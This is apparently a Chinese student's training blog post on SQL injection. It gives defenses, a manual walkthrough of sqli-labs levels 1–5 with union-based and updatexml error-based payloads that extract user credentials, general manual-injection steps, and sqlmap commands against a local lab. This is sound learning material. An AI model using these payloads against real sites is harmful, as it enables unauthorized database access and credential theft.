第五天实训day5

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap

3.总结SQLi的手工注入的步骤

4.使用sqlmap通过或验证第六关

  1. 总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.1:SQL注入原理

        SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

1.2:SQL注入常用函数及含义

1.3:SQL注入防御手段

使用参数化查询或预编译语句:确保应用程序在处理用户输入时,将输入作为参数传递给SQL语句,而不是直接拼接到SQL语句中。

输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入数据符合预期的格式和规范。

最小权限原则:为数据库用户分配最小的必要权限,避免使用具有广泛权限的数据库账户。

使用ORM框架:利用ORM框架自动处理SQL注入等安全问题。

及时更新和打补丁:定期更新数据库和应用程序的安全补丁,以修复已知的安全漏洞。

部署WAF:使用Web应用防火墙等安全设备,对进出Web应用程序的数据进行监控和过滤,及时发现并阻止SQL注入攻击。

1.4:SQL注入常用绕过waf的方法

SQL注入常用绕过waf的方法

2:靶场实战:

先进入

第一关:

1.1判断是否存在sql注入

1.提示你输入数字值的ID作为参数,我们输入?id=1

  1. 通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

  1. 接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的

2.2 联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。?id=1'order by 3 --+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

?id=-1'union select 1,database(),version()--+

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关:

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的

?id=1 order by 3 --+

 3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1 union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1 union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破字段的具体内容

?id=1 union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

第三关

      同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

 接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是数字型,会因为单引号缺少匹配而报错,这里报错了,所以是数字型。当然没那么简单,可以看到这里的报错其实和之前的略有不同了,他多了个反括号,报错应该是我们缺少括号闭合导致的!

?id=1'

加上反括号查看结果,这里没有报错,所以是字符型。

?id=1') --+

  所以这里有个小总结,不要一开始就尝试?id = 1' --+,因为注释可能会消掉一些重要报错提示,可以先尝试?id= 1',就比如这题的反括号提示,差点就漏掉了。

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1') order by 3 --+

3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1') union select 1,2,3--+

 

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1') union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1') union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

第四关

  同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下

 接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是单引号闭合的话,无论怎样都会因为缺失配对而报错的,因为我这里没有设置注释符,所以可以认为单引号在这是不管用的

?id=1'

尝试使用双引号查看结果,这里报错依然有)

?id=1"

加上反括号查看结果,这里没有报错,所以是字符型。

?id=1") --+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1") order by 3 --+

3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1") union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1") union select 1,database(),version()--+

可知该数据库名为security,获取该数据库的表名:

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=

可知表有emails,referers,uagents,users,获取users表数据:

?id=1") union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1--+

注意,这里爆破数据的时候就不要用-1了,用正常的id

爆破字段的具体内容

?id=1") union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

第五关

  同样是提示你输入数字值的ID作为参数,我们输入?id=1,回显如下, 接下来我们判断sql语句是否是拼接,且是字符型还是数字型,如果是单引号闭合的话,无论怎样都会因为缺失配对而报错的,因为我这里没有设置注释符,所以可以认为单引号在这是不管用的

?id=1'

这里是最基本的报错,接下来加入注释符,判断得出他是字符型注入

?id=1'--+

使用联合注入,首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1' order by 3 --+

3报错,4没报错,所以列数为3

        爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1' union select 1,2,3--+

获取当前数据名和版本号,不同的数据库版本,注入方式略有不同,但思路一致

?id=-1' union select 1,updatexml(1, concat(1,database(),version()),3),3--+

测试可知concat中传的第1个参数没回显,第2/3个参数在报错中进行了拼接显示,可知该数据库名为security,数据库版本为5.7.26,获取该数据库的表名:

?id=-1' union select 1,updatexml(1, concat(1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3), 3),3--+

可知表有emails,referers,uagents,users,获取users表数据:

?id=-1' union select 1,updatexml(1, concat(1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3), 3),3--+

爆破字段的具体内容

?id=1' union select 1,updatexml(1, concat(1,(select group_concat(username) from users),3), 3),3--+

?id=1' union select 1,updatexml(1, concat(1,(select group_concat(password) from users),3), 3),3--+

这样,所有用户的账号密码都爆破出来了。

.总结SQLi的手工注入的步骤

识别注入点:

测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号 '),观察系统的响应。

查看URL和表单参数:检查URL中的参数和HTTP请求的表单字段,尝试修改或添加SQL注入载荷。

确定注入点是否有效:

错误消息:观察是否有数据库错误消息返回,这些错误消息可以揭示数据库的类型和结构。

布尔型测试:通过注入布尔型条件(如 1=1 或 1=2)来验证是否能改变查询的逻辑结果,从而判断是否存在注入漏洞。

时间延迟测试:使用时间延迟函数(如 SLEEP(5))来验证是否能通过时间变化判断注入的有效性。

探测数据库结构:

查询数据库版本:通过注入语句获取数据库版本信息(例如:SELECT @@version)。

获取表名:使用注入语句提取数据库中的表名(例如:SELECT table_name FROM information_schema.tables)。

获取列名:确定表结构,通过查询获取列名(例如:SELECT column_name FROM information_schema.columns WHERE table_name='users')。

数据提取:

提取数据:根据获取的表和列信息,构造注入语句提取具体数据(例如:SELECT username, password FROM users)。

联合查询:使用 UNION 语句将注入的数据与正常数据结合,从而提取更多信息。

绕过安全措施:

编码绕过:对注入载荷进行编码(如 URL 编码、十六进制编码)来绕过应用的过滤器。

盲注:在没有直接反馈的情况下,通过逻辑推测和时间延迟来获取信息(盲注分为基于布尔值的盲注和基于时间的盲注)。

后续步骤:

漏洞验证:确认注入点的确存在漏洞,确保测试结果的一致性。

修复建议:提出修复建议,如使用参数化查询、准备语句等防止SQL注入的措施

使用sqlmap通过或验证第六关

使用?id=1,使sqlmap识别注入点

使用powershell打开sqlmap,使用命令爆数据库:

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --batch -dbs

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --dbms=MySQL -D 'security' –tables

python .\sqlmap.py -url "http://127.0.0.1/sqli-labs/Less-6/?id=1" --dbms=MySQL -D 'security' -T 'users' –dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值